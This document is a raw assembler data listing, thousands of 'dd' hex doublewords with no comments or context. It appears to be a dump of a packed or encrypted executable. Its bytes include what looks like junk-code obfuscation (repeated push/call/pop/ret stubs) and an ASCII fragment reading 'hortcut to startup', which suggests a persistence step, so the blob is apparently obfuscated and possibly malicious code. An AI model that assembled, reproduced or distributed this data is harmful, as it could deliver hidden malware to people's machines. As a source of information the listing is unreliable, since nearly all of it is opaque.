dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 7F29A7Dh, 11B5FF42h, 6605E416h, 0FF49C1BBh, 0E42A6195h dd 35BD2905h, 6A05E410h, 0C195FF00h, 8B05E410h, 0FB7AEBC0h dd 536CAE8Fh, 0EA1E8DB6h, 0A302F356h, 8163E3EFh, 0B0F705C5h dd 5959BF37h, 431125E3h, 6DA38823h, 964442DDh, 8997E74Ch dd 7BC8CA3Ch, 788E179Dh, 0F102E9BEh, 8398B409h, 9D807870h dd 0C4C9E7DEh, 3B8C8C1h, 0F3106163h, 85DCF414h, 7CB3FFE9h dd 0DF1734BFh, 29FA616Dh, 49E44D7Ch, 811541FAh, 88381987h dd 0A988F9BEh, 427C28C3h, 0B7EF97EDh, 5B295335h, 1EDF32F0h dd 536CEB44h, 74726F68h, 20747563h, 73206F74h, 74726174h dd 7075h, 13h dup(0) dd 0DB000000h, 157DA2Bh, 0E9000000h, 0F69h, 0E93E4668h dd 7F6E905h, 6668FFFCh, 0E905E93Fh, 0FFFC07ECh, 0E940F868h dd 7E2E905h, 3768FFFCh, 0E905E941h, 0FFFC07D8h, 0E941E068h dd 7CEE905h, 6568FFFCh, 0E905E942h, 0FFFC07C4h, 0E946FF68h dd 7BAE905h, 0B768FFFCh, 0E905E949h, 0FFFC07B0h, 0E94AC168h dd 7A6E905h, 8EE1FFFCh, 0AD3DA049h, 0EF78EF84h, 28BE21CAh dd 6FFD6009h, 14D5A14Ah, 93183DD3h, 0D45D78ECh, 149DC251h dd 52DF0091h, 20E0F1DFh, 0E7C92A20h, 7FECFFCEh, 1DEA2ABBh dd 5A2DCCC3h, 4AB2D42Eh, 83724379h, 9CC556D7h, 0CC338317h dd 0E7782CFCh, 13D62919h, 8395E9E3h, 5AD39967h, 446647DEh dd 0CCA3D2A7h, 7B759706h, 8710C927h, 0A635E8A2h, 0A70C981h dd 0C2644235h, 7A18E6Dh, 342ACFD8h, 93000000h, 7848AFFFh dd 0A73FB069h, 389265D2h, 273FB355h, 6041D6C9h, 0A367FBAAh dd 273FF212h, 934235C9h, 985791C7h, 0D06FD99Dh, 0D84EFE21h dd 0CD8FCFh, 3D380000h, 436C5549h, 0C314D232h, 36A215CCh dd 0B672B641h, 0DDB59A0Fh, 3D95B828h, 1CF6DB48h, 80A939B8h dd 0CBEC7DE4h, 47BCAF2Eh, 52C7CCC3h, 24D0846Dh, 1A5940D7h dd 4EFB9222h, 0E054D335h, 5DCE7731h, 0A8FC9E74h, 0B764754Bh dd 72D2A73Ch, 3CCD5362h, 0BB0AC927h, 0DBAB2FC4h, 20F0A434h dd 7CFB1A65h, 4D5C34F0h, 0D74DDB36h, 214010E7h, 0BF3E8EB3h dd 0E863052Ah, 24C2E775h, 0DB1E8A4Bh, 28E3FF59h, 0AA00000Dh dd 0E69912C7h, 21A44D74h, 67E693B4h, 0A659D2F7h, 0C661336h dd 210494DBh, 6643D548h, 0A68B1A8Dh, 0E0C95ACDh, 0A938980Bh dd 0C92A236Bh, 0ECB007ACh, 6A0B597Ch, 0DB50D4FDh, 0C292B724h dd 1DBD6372h, 8B7ACCC3h, 0FFD36AE1h, 697848AFh, 0D2A73FB0h dd 94389265h, 0FADA20E0h, 0F9EB374h, 0C9274A09h, 0EC887FCEh dd 274A9375h, 0A95D31C9h, 0DFEE0EA2h, 0C9275139h, 4D9D0FFEh dd 5C6E0AC2h, 0FA2B14E7h, 0D9A0CFD7h, 9000000h, 82DBC3Dh dd 5374E56Ch, 237C897Dh, 1AF0D949h, 7D2A215Bh, 0D657E587h dd 9ABF5346h, 0BBAE6F2Bh, 0C0CCC33Ch, 1EFE8F53h, 0D9CCC307h dd 4BFAB766h, 0C2E3F1D6h, 0D2A36F52h, 42128456h, 0FD6E0F5Dh dd 0F85277E4h, 298C4635h, 70A0A9Bh, 7ACDCCC3h, 22D7E6BEh dd 0E7D2A725h, 0D44010h, 6194B234h, 6CEE6D0Fh, 858B1A18h dd 0E0C927E0h, 35F85277h, 22B261D4h, 4D3E6393h, 932194D7h dd 2FBE8212h, 0CCC145E9h, 3E85F2Eh, 4D290C9Ch, 0DB1EE77Eh dd 8AEC294h, 8A00000Ch, 0C67932E7h, 1846D54h, 47C6B394h dd 8639F2D7h, 2C463316h, 0C1E474BBh, 623B528h, 466BFA6Dh dd 80A93AADh, 891878EBh, 0C92A228Bh, 0EC50274Ch, 2DD0597Ch dd 0BE1E9BBCh, 20B6AB3Fh, 7D65201h, 0A2FBC3Dh, 4D72E76Eh dd 0AE930085h, 841293C5h, 6400F55Dh, 6B799EEEh, 0C28382BFh dd 99635708h, 348D79C9h, 0B8FE746Ch, 1A233F5h, 0C4D2A75Eh dd 5E030190h, 0F766C927h, 4F3EF1D2h, 5EF61283h, 9254C927h dd 2E715E5Dh, 9307CFD8h, 8D445AC8h, 0ABEE8AA3h, 7, 883011Ch dd 0FFA80000h, 697848AFh, 0D2A72E08h, 0ED907ACDh, 2FDE5B7Ch dd 583D95BAh, 31E35086h, 0E95C93D7h, 0FADA5778h, 8D4562FBh dd 54C54C28h, 4337A773h, 7AEDD833h, 24BD7FCCh, 0AE63D3E3h dd 0EF69C62Ch, 0D38E8E1Fh, 0F649AE63h, 391EB332h, 7B5CCD70h dd 0D315FE9Fh, 8448AE63h, 0D55770E5h, 7CED5897h, 0BA2FDE5Bh dd 6677C795h, 519C2CA6h, 40EA8E61h, 4B19FECEh, 0F81E693Ah dd 8BD9AC4Fh, 3D6AAA3Bh, 0DAAD5478h, 4E08DD5Eh, 0FA8B89DDh dd 54783D1Ah, 3D86F38Ah, 0C4D4748h, 0FBFACAB9h, 0ECA44065h dd 1C6360DDh, 0F3C2B54Ah, 8CF0CDDCh, 0CFE9BD37h, 0FDAF2409h dd 3400338Ch, 59105A7Ch, 0D5A53BEAh, 6E947405h, 0AC538F8Ch dd 0FCB1193Ch, 99FA6B0Dh, 5C91E83Ch, 1F6F21E9h, 0FD9E8F8h dd 0C89401C8h, 0D5466775h, 138007ECh, 108B482Eh, 3F9997D5h dd 0A76A3h, 5C791400h, 9FC250D7h, 0DDFA9312h, 1C45D154h dd 5D801097h, 0C629BAD4h, 7867356h, 44FBB095h, 843BF0D5h dd 0CA793217h, 5D15FB8Ah, 0BDD2C92Ah, 5A7FECEAh, 213F01DCh dd 2D4517DBh, 0A37h, 9663B8DBh, 0D55E8317h, 179CC552h dd 56230690h, 971C41D7h, 1785EAFBh, 52C67932h, 940BBA77h dd 0D64BFAB7h, 0CB8938F1h, 2A5C5ABAh, 0A1F49DC9h, 0F05A7FECh dd 2ABA9F0Dh, 5C36138Bh, 0CB9C1F99h, 19CE9E8Dh, 0EEFAB8Ch dd 0C778095Fh, 12D2A747h, 5C7D0CA3h, 288B645Dh, 9021B754h dd 16FE3CF3h, 97B22445h, 7DE0BBE5h, 4B2D6928h, 0A7657468h dd 370D7E1Bh, 0AFF01FBCh, 9067A483h, 0D7A76921h, 0C711A030h dd 13171Ah, 0C9E1FADh, 0EC886D25h, 83A435B4h, 9707A6F6h dd 0DA4FF6B2h, 426831F5h, 0DC7E16C6h, 98EC4h, 0B4610C00h dd 0F7DA48FFh, 35128B3Ah, 745DC97Ch, 0B59808BFh, 0FE41A2FCh dd 3FAE4B6Eh, 7CE388ADh, 0BC23C8EDh, 0F2610A2Fh, 5C0D13A2h dd 0A5CAC92Ah, 5A7FECD2h, 899E0DF0h, 9B5A3019h, 28C84F24h dd 5ECCC31Dh, 0BDBE90Eh, 81D7FA6Ah, 0C31D10F0h, 8460D7CCh dd 0AC59490Dh, 0CFDE8ED2h, 0C92A2149h, 0F0D3B8D9h, 0ABE847F3h dd 565765D4h, 90179CC5h, 0B174DE03h, 0D1543E23h, 0DA991D42h dd 0E8D5375Ah, 909526Eh, 0E6890000h, 55C57831h, 9700876Ch dd 0D046F9B2h, 178538F1h, 0BC2D7932h, 2BC0E57Bh, 6C0520B4h dd 0AC456AF9h, 0EA87A839h, 88881977h, 4FC92A5Fh, 7FEC5726h dd 9C0DF05Ah, 0BC86DFBBh, 6E53C087h, 19FF8E5Eh, 0DECCC31Dh dd 4E0E8D6Fh, 1E9ABF2Fh, 0BC70FC23h, 5CB91D5h, 0FF3A0000h dd 697848AFh, 0D2AC59EDh, 64055B2Ah, 0B559D2F7h, 1553DE4h dd 558B9095h, 492CE6C3h, 0F09BF35Fh, 0C92A9D34h, 3E9643C6h dd 7252BC4Ah, 4527DD2Ch, 2D4CC867h, 0A46475BDh, 63B04663h dd 6E5BDD8Ch, 5936EF41h, 5B4Ah, 493D7300h, 2A29FE87h, 0A03187B0h dd 0CCC37E60h, 0BE54D0A7h, 25B404EBh, 0CCC37EE7h, 12F28353h dd 0D5CCC37Eh, 339FC252h, 0CAE99342h, 0D744657Bh, 0AA0EA37h dd 2B9A6C11h, 821A8E6Fh, 7A4A8C08h, 0A86DCFA9h, 0ED2A6728h dd 7083B08Ah, 0B554F34Fh, 77Ch, 98016D00h, 0A8000002h dd 7848AFFFh, 0AC5A1569h, 0A773C2D2h, 2A2111F6h, 7E2A8AC9h dd 0C6D42812h, 714B2D0Fh, 17C498C2h, 799C6680h, 0E9E8F292h dd 2E9D503Ah, 0F3B70F9Eh, 6C60D745h, 0C388BF5Dh, 6049DACCh dd 3786CBAAh, 0A434AB40h, 8E473381h, 25BBFAh, 0A4544F94h dd 25BB6AC0h, 47DB4A00h, 65F5A862h, 0EFDD84Ch, 53E0CA44h dd 2A196124h, 23C8ED63h, 450D28BCh, 997154C0h, 0D345FAC0h dd 996346D2h, 0BE6C8C18h, 726670A4h, 0DE3E4F1Dh, 19CCC304h dd 5A3AF7A6h, 415FB8Ah, 63D2CCC3h, 4DC3C4Dh, 0A41BCCC3h dd 49D51C0h, 59C8CCC3h, 9B08BF74h, 4C64657h, 0AE01CCC3h dd 4898F1Eh, 0FF4ECCC3h, 66124208h, 6F7718A1h, 0C5E07455h dd 0FF3B9216h, 3AAB4BAAh, 0B5348BAEh, 24680623h, 181CF70h dd 0C1A0724Bh, 0D6A77354h, 0E84F152h, 6A97E9Eh, 0AD9EB46Fh dd 59114FEh, 20B776DCh, 0CE65703h, 4D6A0D22h, 8C70E793h dd 0A8902B84h, 0B241FECCh, 0D5BC318Dh, 28118223h, 40B094Ch dd 0ECB20000h, 0EB29B87Ch, 2CCCC31Dh, 0BF8F7D9Ch, 8372B171h dd 787C9C2Dh, 0C4BBCCC3h, 6D19BD15h, 70E69E11h, 8034F951h dd 27C122EAh, 200A9A9Ch, 0E1C45413h, 6CD04408h, 0F7AFAEB7h dd 0CA80A534h, 71F0B46Bh, 8D30FEE3h, 0FAAE3E1Bh, 0B295D85Bh dd 0F36007BCh, 39A42ACEh, 5ACB87A8h, 6346D6CBh, 2703E6ACh dd 47A16D08h, 0A2FBDE8h, 82A734BBh, 71084C8h, 91F13975h dd 62AB3AFEh, 0F9CCC36Fh, 0D64B0231h, 168538F1h, 74755931h dd 0DCEDC3E6h, 0CCC36F3Ch, 0F16004FBh, 0CCC36F14h, 0D493A0AAh dd 48B6045h, 0CCC35888h, 0B1EB9F2Dh, 0B3FA7FF7h, 11819A3Ah dd 0C4E20F67h, 0D32B1520h, 0F0A0D5BBh, 0F0FFFFFEh, 8F739120h dd 0C1B4CCC3h, 493D9627h, 500235EAh, 0C1E67B65h, 33F5A409h dd 733821B2h, 63BF5FCCh, 72C7A54Ah, 6FAD3C8Ch, 0A8CCC33Ah dd 0E9AC66D5h, 0CCC33A2Ch, 384919B7h, 0CCC33AD8h, 0FECCA81Fh dd 0AC950641h, 0B0C191C7h, 0CCC33A50h, 0DD442097h, 0EDA06A4Fh dd 9D369954h, 0EED42E4h, 548EB21h, 56AAh, 0AFFF1300h, 15697848h dd 0B1D2AC5Ah, 5362A630h, 0C92A21CDh, 0EC4BB0Ah, 17E6CDAFh dd 2139DABBh, 0AF99C92Ah, 2B3E6190h, 224FCFD3h, 78000000h dd 0C328CCFCh, 1B3CA9CCh, 850FFEBFh, 0FFFFFD80h, 0AC6C7DCDh dd 6BCCC317h, 1B91094h, 7, 28F01A8h, 0ECA80000h, 6B0A5A7Fh dd 0F786D6F3h, 0CCC31D11h, 378567D6h, 0ECFCE576h, 9E745DCDh dd 3CDE5DDFh, 0A4358B68h, 0D2A734C3h, 3ADBB706h, 0C9270BDEh dd 4C0623BBh, 0AA6049D9h, 2154EBDFh, 6D8CA385h, 0CFD85742h dd 4A4Bh, 0AFFF7C00h, 0E8797848h, 9D6D25C7h, 0AC6C7DCDh dd 6BCCC31Dh, 1D070594h, 6DC0CCC3h, 3FE11A8Bh, 0F747D2A7h dd 273F26E6h, 6A0EE1C9h, 791CF649h, 0C9273F9Fh, 0F7B5613Dh dd 5309393Fh, 6BD8E286h, 0D869A788h, 0AF24CFh, 0EC950000h dd 15F96A7Fh, 4094C264h, 21C0B719h, 75DD8CB5h, 0F3D64061h dd 53D25627h, 733298BDh, 8B8918DEh, 4CCCC35Ch, 0DD400AF9h dd 0F8E6B4Ch, 0CCC363DCh, 0FDE27776h, 29BA3Bh, 0BEA331B0h dd 89DD71FAh, 0A94B5A6Ah, 5ED2A986h, 9D09D9EFh, 7CFA123Ah dd 0F44577DAh, 0BB3B04C7h, 0E775FCB8h, 5CF3F2C2h, 4622937Fh dd 9FC252D5h, 3A5F621Fh, 0CAE670D5h, 46Fh, 0DE5B8013h dd 1D96BB2Fh, 5FD4FD6Ah, 9E1B3EA8h, 0DF5479EFh, 4FDD22C3h dd 8A1E816Ah, 0CC43C2AFh, 0E8302EFh, 83D14029h, 2A5B12F2h dd 0E9BCD5C9h, 0D0597CECh, 1E9BBC2Dh, 5A7FEC47h, 5A9C0DF0h dd 0C31DC54Bh, 0A06071CCh, 67CCC31Dh, 3DFCB390h, 72C38FA8h dd 1064F683h, 0FFCCDDF3h, 3AD2A72Fh, 80E8F4Bh, 0C5C9270Ch dd 56B6C797h, 91C9270Ch, 0D3605ADEh, 72E03787h, 4332834Fh dd 3ADA4C6Dh, 583986F7h, 0D6E65519h, 272341C7h, 753786C9h dd 113F8C1Dh, 0BFAD743h, 7B98EC6Eh, 76F25465h, 4235D2ACh dd 0FDDA7372h, 0A9E1FEFh, 0EB8582Fh, 887FC92Ah, 0E6BA938h dd 0D9ACC92Ah, 0C539DC5Fh, 0B0C92A0Eh, 1D773C21h, 63h dd 86A334B5h, 2E8F69CCh, 0B2EBC3Dh, 1D14F061h, 1362CCC3h dd 846B4EDCh, 0AA473613h, 0B456CBEAh, 0C66F0F0Dh, 482CE358h dd 0D54B5CC9h, 0D45B1AF0h, 0D8B26144h, 0C326D735h, 80BFB9CCh dd 0BA7750C5h, 4756940Bh, 0CCC326C1h, 33108706h, 50C58D7Ch dd 0CCC326B7h, 396CC309h, 0A8EC85AAh, 0DAB09909h, 0EC38911Bh dd 0E2F2587Dh, 0A06A4FC3h, 3BAA2BCDh, 0E9D24616h, 6CAD27A1h dd 9DE84226h, 38AF9E55h, 0B424451Bh, 0B0743991h, 0C554553Bh dd 0D8D04E0h, 58CCC31Dh, 0BC2E436Dh, 0C65455D5h, 0A74637E3h dd 0F1440E33h, 0FF5E4237h, 0C292FFFFh, 0C32A6DB3h, 0AB3AAACCh dd 0CCC32A65h, 981CD3A2h, 9F7FEC31h, 406663A6h, 0F65C13DAh dd 0F4BDA237h, 0DFED1262h, 0A743E9CEh, 0FC692CD2h, 0EFAE64DBh dd 0C9277C2Dh, 7386BD8Fh, 0CFD80C4Ch, 4741h, 0AFFF6A00h dd 0B0697848h, 16D2A73Fh, 5ADE0397h, 49CC8679h, 0C9273FCFh dd 0E7F63AAAh, 0C9273F21h, 0EAA017E6h, 0CA80A53Bh, 3712846Bh dd 87BC8E5Bh, 0FF74F6F0h, 0D84F133Ch, 100B8CFh, 2CD80000h dd 0E718C086h, 0A108EC2Fh, 392CBC3Dh, 7CD685AAh, 0E576FFB9h dd 7E38ECFCh, 762CB081h, 6B6BC1ABh, 8415DD4Ah, 0CCC33F84h dd 7B3DEC43h, 8B476AFAh, 0EAA0891Ah, 3381A63Bh, 543E23B2h dd 0C09407E1h, 3FA36170h, 0C833CCC3h, 1475043Fh, 3E4F0142h dd 0CCC35CDEh, 35F7A619h, 0C363A99Ch, 0F941D2CCh, 0C35828E8h dd 9918EFCCh, 0BA77260Bh, 0D9B1960Bh, 0A367F4F5h, 0C358F212h dd 934235CCh, 20B276C7h, 24099F4Ch, 0E5566775h, 20D2A772h dd 6232A44Dh, 198E2FBDh, 95247C38h, 0D74D9921h, 9490E195h dd 52A86588h, 0AA3A8DD6h, 0F4B0950Bh, 0AA8F1D9Ch, 0EBCE5EC1h dd 1E517803h, 0B4CC8EDBh, 1B7h, 16E3385Bh, 55DE0397h, 971C45D2h dd 0D6A38610h, 179CC157h, 97056A7Bh, 0D246F9B2h, 148B3AF7h dd 56CB7A37h, 4B09B871h, 2A54DA3Ah, 21741DC9h, 0D0597CECh dd 0C59BBC2Dh, 951732A4h, 493D4FE6h, 0EFE8DFC0h, 0B220C47Ah dd 1EAF3DE2h, 0D2A726E5h, 957D30h, 0C9272604h, 8F1EEEA6h dd 0C9272689h, 765BCF4Eh, 8E6AD99Ch, 4B7487BCh, 40CFD836h dd 0DFh, 5C6D3D69h, 0CCC31DBCh, 70E5847Bh, 7E3AFB57h, 957D62F7h dd 0F55D8010h, 7356C0E1h, 0C352D6A7h, 0CCC32288h, 6B795EF3h dd 8415DD4Ah, 0CCC31984h, 7E3DEC43h, 0AF0EC4EDh, 4ADF4ECDh dd 9BEBAD65h, 1DF5D044h, 2FDBE958h, 83B77571h, 1C743062h dd 0DBFFD84Ch, 0F675F931h, 252EA332h, 14EBD2A7h, 74ABFB9Fh dd 4311C0E5h, 4DCB2332h, 0BD13E2D7h, 2BB9AC3Ch, 3AE94C06h dd 1F6B1F71h, 0A248119Ah, 0D7F26605h, 77FEBA7Bh, 993AFCE1h dd 0AFDB1F01h, 0AD952Dh, 422D0000h, 0F9691C95h, 33A45BD0h dd 7CEA9D16h, 0BB29DC55h, 60811D96h, 0CFA4891Fh, 0E9CC58h dd 40290E9Dh, 8E6B4CDDh, 0EC2CBD13h, 2BC92A57h, 7CEC338Ah dd 1DEB29B8h, 4E5FCCC3h, 0CCC31DCEh, 0E255B609h, 52C74633h dd 0EC29846Dh, 0DF05A7Fh, 5CFEBB9Ch, 21D5EB08h, 0A83DD650h dd 297F1D8Fh, 0D1E0B074h, 0D2AC3391h, 7A2BE756h, 0B42BC0E9h dd 0C5480227h, 1B1FD0A1h, 9120F0E0h, 9B192F73h, 527C1B4h dd 0C5EA7F2Eh, 728B92Ch, 654CDA4Bh, 7AC9F3ADh, 0F0B99E33h dd 8B1ADC4Dh, 9B192F85h, 715277E0h, 6F03CFBEh, 3, 0EC52FB1Eh dd 0FFE5481h, 28DDB59Ah, 4F3E94B9h, 9312F8DDh, 0B372D8FDh dd 0D352381Dh, 0F1B41E3Bh, 16974364h, 0E3F55D84h, 6C8068h dd 243C8900h, 81E18951h, 4C1h, 4E98100h, 87000000h, 895C240Ch dd 8951240Ch, 4C181E1h, 81000000h, 4E9h, 240C8700h, 242C895Ch dd 4EC81h, 4890000h, 3D0DB824h, 0C18905E9h, 2C8B5458h dd 4C48324h, 8904EC83h, 0CE892434h, 5E087589h, 56242C8Bh dd 0C681E689h, 4, 8704C683h, 8B5C2434h, 8956240Ch, 4C681E6h dd 81000000h, 4C6h, 24348700h, 0F89AE95Ch, 1928FFFBh, 4B93B82Bh dd 0C50305E9h, 4DBEE0FFh, 24976888h, 58C6535Ah, 0D81356CCh dd 891B4336h, 8D8D25BDh, 5E94CF8h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 14h, 6EC35343h, 0AA90BF66h, 10958D89h dd 0B58B05E4h, 5E422EDh, 2C6585C7h, 660805E4h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 43B0C3C3h, 89E1C3B0h, 0E431C1BDh, 999D8905h, 0C705E427h dd 0E430FD85h, 5, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1904h, 0C3524200h, 507B9DB7h, 85011314h dd 5E4075Dh, 31EDB5FFh, 858B05E4h, 5E42005h, 0FFD1BF0Fh dd 0E42A6195h, 3880F05h, 52000000h, 6A5AF5h, 10C195FFh dd 0C08B05E4h, 0FEB62CEBh, 7A4C9B76h, 98FF4887h, 7F94EAE4h dd 61AC4BA7h, 0CB99964Bh, 0E38D8DBFh, 665C3139h, 2A470B27h dd 508B536Fh, 0F308AC44h, 9D8D0B0Ch, 5E43279h, 39B8h, 0FD858900h dd 0E805E407h, 0 dd 0D0558h, 3890000h, 39E9h, 0E6000000h, 0Dh dup(0E6000077h) dd 6CE9FF77h, 60000001h, 0BE9h, 0D3353700h, 0E9E589FEh dd 0B0D2991Fh, 0F26EDB81h, 0F9613977h, 4E37B58Dh, 6A05E9h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 0E979ABC3h, 0Fh, 4C715108h, 0D08FDDC8h, 5F0B1F8Bh, 60CF9D63h dd 9FC8BE66h, 9E960h, 5A880000h, 0F22B6887h, 0E996BF0Eh dd 0Fh, 62AC76E9h, 7C71E170h, 0DD3344F5h, 6100FEB8h, 58858D61h dd 6A05E745h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 14042444h, 42000000h, 0FF11C352h, 78A0FD0h, 0F000000h dd 18Ah, 0F8C3F800h, 0F5D98C66h, 0F04C1F6h, 5C84h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 4AC833C1h, 0B1D7605Eh, 8BFB8BF8h, 0AEC032CBh, 0CF2BFD75h dd 0F92BD9F7h, 8B49D78Bh, 0CD00EBD9h, 1013F20h, 74C00B00h dd 0C708D18h, 0CB8BFA8Bh, 490A75A6h, 1B8FA75h, 0EB000000h dd 0EB008B09h, 0B8E4h, 6ACF0000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 5E5AC352h dd 0CFB0FFF0h, 0EC921A22h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 18C35242h, 8E9C9C3h, 9F000000h, 0BE602FB0h dd 0C778C801h, 0E94E8085h, 1013F05h, 7E800h, 0EC2A0000h dd 0B96D6719h, 81665F04h, 811EB3F2h, 721CC7h, 0BB3CB500h dd 1C5Eh, 8BC1BF0Fh, 0DA816637h, 0EE817171h, 7ADF6AA4h dd 0FE953h, 17AD0000h, 7B47429Eh, 36C3EF2h, 7CAC9837h dd 0F6815AE6h, 35BC65C0h, 81D68B66h, 5C0970F6h, 28B0F21h dd 8A000000h, 78F56E8h, 0C8BF0F60h, 7E8h, 0CBFC3E00h, 23281070h dd 0B0BAF081h, 615E12A2h, 0B904EF83h, 22E34239h, 0F01EB83h dd 1685h, 0C7BF0F00h, 1DE9h, 0A09DDA00h, 0EB030007h, 1E12F53Ah dd 669A7A81h, 7CE9D18Bh, 0FEFFFFFFh, 38D0861Ah, 8D8D6F89h dd 5E95061h, 958D89F5h, 6A05E410h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 0F093C350h dd 8B66381Ah, 6585C7F0h, 8C05E42Ch, 0E9000069h, 10h, 20732C8h dd 55E828EFh, 33E0F1BBh, 0F95A12B9h, 30FD85C7h, 5E4h, 0EE80000h dd 15000000h, 0F1F0F009h, 0B48D448Fh, 3A4199FCh, 0F9BD8BC3h dd 5E05E41Ch, 240DB5FFh, 6A05E4h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 150424h, 52420000h, 8BC74DC3h, 0E42085B5h dd 0EDE28105h, 0FF398E68h, 0E42A6195h, 51B58B05h, 6A05E425h dd 0C195FF00h, 8B05E410h, 8139EBC0h, 9BDDEB3h, 0BEBB3CE8h dd 0CF2282CAh, 0E70E2A04h, 0D82BDEB9h, 6A223FD8h, 1CEC7F13h dd 3144034Bh, 0DF7060E1h, 9CA288CCh, 7B7C0F50h, 0AC07ACD1h dd 8B024BDDh, 0F7756861h, 60EBh, 17h dup(0) dd 0BDE90000h, 0E900000Ah, 0AB1h, 0E9584068h, 2CB0E905h dd 0A368FFFBh, 0E905E959h, 0FFFB2CA6h, 0E95A1968h, 2C9CE905h dd 9D5EFFFBh, 33A76362h, 400911B4h, 9A5CC6C9h, 31A47E61h dd 0B70617B6h, 0D1F473E2h, 8B0A8549h, 3F5ED99Fh, 0D2F574E3h dd 290B742Bh, 8B54EE37h, 0C777A6FDh, 90BA7048h, 65E931DCh dd 0E5B7B5EAh, 0C2354F04h, 48BD36B8h, 9F1EDD45h, 0F176E238h dd 2DAF68DBh, 8ADE591Fh, 6943FC70h, 20E762D3h, 1EFB7CFAh dd 0B22DA0BAh, 0C0520426h, 0DC04F9E2h, 0B2067B22h, 12A621A8h dd 0F5C74008h, 0CA8D0FF8h, 0B27D2CE0h, 8C54366h, 0D18B48B5h dd 28EB54EEh, 3ABD3D65h, 0F775209Bh, 0B1512F10h, 997854EEh dd 0EEB0C6A4h, 18F52654h, 0FD0F5D9Eh, 0FD8FF7Eh, 0EC60C077h dd 0B9EA5973h, 0D86E3920h, 0CCD2EB61h, 0D1EB64D6h, 4116A962h dd 14C4D45Fh, 3F052Dh, 0D8500000h, 26047961h, 864F04E6h dd 0CC4B6055h, 9DE966D6h, 0D60D5FDEh, 64CBAA7Dh, 4E6191Bh dd 7E589B4Fh, 0B5DD276Bh, 18593283h, 4F05BA1Ah, 0CC00599Ah dd 44C3779Bh, 2C421577h, 37h, 0EB61D87Bh, 62D6CCD2h, 685528E5h dd 4F04E60Ah, 0CCC1965Bh, 44C3779Bh, 5DD49981h, 0C1FAD40Fh dd 59130720h, 0CCD68750h, 54E00EE6h, 0E068D0E6h, 0AD9E5567h dd 0CC73C4E0h, 28E562D6h, 0BB849441h, 4F04E5B9h, 52A7F06Bh dd 0EB8A63Fh, 0C83598CDh, 54E9C847h, 6BDCEC2Fh, 54E98305h dd 7FB6FA40h, 33F96604h, 13775h, 6DD8A000h, 5DD728EFh dd 0DF4F04E6h, 0B0088335h, 5B7A4E83h, 0AF28AEF4h, 7BF9261Dh dd 0F94F04E6h, 0BA315D36h, 5E3D9C03h, 4E60361h, 64AE614Fh dd 77C19D7Bh, 5607D078h, 7049C077h, 0D2829839h, 6814955h dd 61D80C4Dh, 0C79512C2h, 0CF4FC20Ch, 644FCB91h, 5B0C9A33h dd 14C4D45Fh, 23052Dh, 0D8500000h, 0CCD2EB61h, 4E671F3h dd 0AB00F34Fh, 0C3779BCCh, 42157744h, 0E867D6CCh, 37B663D0h dd 22h, 67D6CC66h, 0B663D0E8h, 0CF8E04C3h, 29E265D3h, 71F3CCA0h dd 0C24F04E6h, 9BCC5871h, 7744C377h, 6DD84215h, 514928EFh dd 4EB7609Bh, 4F04E5F8h, 3BC19B5Ch, 0CD9A3DBCh, 7049C077h dd 6DCC6E39h, 4E61210h, 0C047F24Fh, 8C4F7BE8h, 3BB168C3h dd 5F5B0CA2h, 2D14C4D4h, 3C05h, 0D54CA600h, 8AE777EBh dd 0D8C28B44h, 4524EB61h, 4E5FA78h, 0DCB97A4Fh, 71F3CCFFh dd 0F34F04E6h, 6DCCAB00h, 4E61210h, 0C344F24Fh, 0E4BB14C7h dd 44C377F3h, 2C421577h, 16h, 0EB61D87Bh, 71F3CCD2h, 0C24F04E6h dd 9BCC5871h, 7744C377h, 0A82C4215h, 7B000000h, 698E6CCh dd 0DDF26B2Ah, 487976C7h, 0F95287EFh, 2C54732h, 78F767A3h dd 9830AF2Eh, 0AB81EEABh, 0D24F05D2h, 0CD8601C8h, 0C05A6EA1h dd 580D900Bh, 0E760D6CCh, 69B51ED5h, 39526BE2h, 50D78298h dd 490ECB78h, 0D2EB61D8h, 0D45F5B0Ch, 52D14C4h, 34h, 0EB61D850h dd 71F3CCD2h, 284F04E6h, 0EC0056C2h, 400D15B2h, 6C65EC26h dd 46740D87h, 6DCC4415h, 49028535h, 6DC37700h, 0A0396AEDh dd 202C4215h, 7B000000h, 0D2EB61D8h, 0E671F3CCh, 71C24F04h dd 45C674AEh, 0AF3DB439h, 0CCF2DBB4h, 44C3779Bh, 0CC421577h dd 28E562D6h, 2FEE69EEh, 62E55248h, 0C6A49D56h, 264F04E5h dd 0AAB018F5h, 8DE4B22Ch, 0ED276E66h, 976D5B8h, 4F05DB2Bh dd 0FA8D4689h, 6AEE349Bh, 0DAB6B4EDh, 0C5364F05h, 0DB3F3D02h dd 7ABD4F05h, 47C67591h, 84366C75h, 0C382B10Bh, 5DB80E2h dd 5E3BFC4Fh, 5DB1111h, 0E14B54Fh, 5A04D14Eh, 9000B756h dd 3FBA2804h, 20A798ABh, 0EEFA7DFAh, 3B728BE7h, 0F0F253C8h dd 0C421C427h, 83C29611h, 5CAC0A2h, 0AFFB3C4Fh, 81AAE29h dd 0E3BA72BEh, 0FD7A9B87h, 0B7605B7Ah, 2CF35235h, 5CB51D3h dd 0B760D34Fh, 0E9F5C94Eh, 0AD2C7654h, 25BC9E2Ah, 58E9A739h dd 8BE53162h, 289FDDF0h, 0C9535F38h, 0B930A507h, 86B91344h dd 54E99AA0h, 0FE7EA42Bh, 1FF86B41h, 0BD864FB3h, 0C633F97Dh dd 34E11ADCh, 29B9h, 0C077DC00h, 6ECC7349h, 0EC4F04E6h dd 0B437A5FDh, 52B3FFDBh, 0DCA362E5h, 0E622007Dh, 51824F04h dd 4E61210h, 0F4A1924Fh, 0C07704D1h, 5870EB60h, 3749AFEBh dd 61A9C29Bh, 74219C2Ch, 4FB017F6h, 4F059CEDh, 7CC38C4Fh dd 0EEEE1603h, 1ABD7E54h, 